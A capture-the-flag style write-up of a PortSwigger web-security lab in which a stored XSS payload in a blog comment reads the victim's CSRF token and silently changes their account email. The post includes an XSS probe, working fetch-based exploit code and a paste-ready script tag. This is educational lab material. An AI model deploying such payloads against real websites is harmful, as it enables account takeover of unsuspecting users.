On this page
apsyleg1 min read
#portswigger #xss #csrf #web-security

Bypassing CSRF via XSS

Lab

Exploiting XSS to bypass CSRF defenses · Practitioner

Reconnaissance

From the description: we need to change the victim's email using an XSS vulnerability to bypass the CSRF-token defense.

Let's see how the email change works. From /my-account?id=wiener a POST goes to /my-account/change-email with the body:

email=new@mail.com
csrf=YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea

So the payload needs to grab the CSRF token first. The attack: the payload makes a GET to /my-account, takes the token, then POSTs /my-account/change-email.

For the XSS injection point, just trying our luck — <img src=x onerror=fetch(1)> in the comment field. XSS works.

Plan

  1. GET /my-account
  2. Read the response and find the CSRF token — it lives in <input required type="hidden" name="csrf" value="YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea">
  3. POST /my-account/change-email — CSRF token and email in the request body as FormData

The token can be extracted with a regex or via DOMParser. Parsing HTML is more reliable.

Exploitation

First payload attempt:

fetch('/my-account')
  .then(r => r.text())
  .then(html => {
    const doc = new DOMParser().parseFromString(html, 'text/html');
    const csrf = doc.querySelector('input[name=csrf]').value;
    const body = new URLSearchParams({ email: 'new@mail.com', csrf });
    return fetch('/my-account/change-email', { method: 'POST', body });
  });

In Chrome console — the token is fetched fine, the request fires and returns 302 with a redirect, but the email doesn't change.

Compared the request with the original. The difference was in the Content-Type header: the PortSwigger server expects application/x-www-form-urlencoded, but URLSearchParams sends it as application/x-www-form-urlencoded;charset=UTF-8.

Final payload:

fetch('/my-account')
  .then(r => r.text())
  .then(html => {
    const doc = new DOMParser().parseFromString(html, 'text/html');
    const csrf = doc.querySelector('input[name=csrf]').value;
    const body = new URLSearchParams({ email: 'pwned@hacker.com', csrf });
    return fetch('/my-account/change-email', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body,
    });
  });

The key is the explicit headers: { 'Content-Type': 'application/x-www-form-urlencoded' }.

Comment-ready one-liner:

<script> fetch('/my-account') .then(r => r.text()) .then(html => { const doc = new DOMParser().parseFromString(html, 'text/html'); const csrf = doc.querySelector('input[name=csrf]').value; const body = new URLSearchParams({email: 'pwned@hacker.com', csrf}); return fetch('/my-account/change-email', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body }); }); </script>

Lab solved.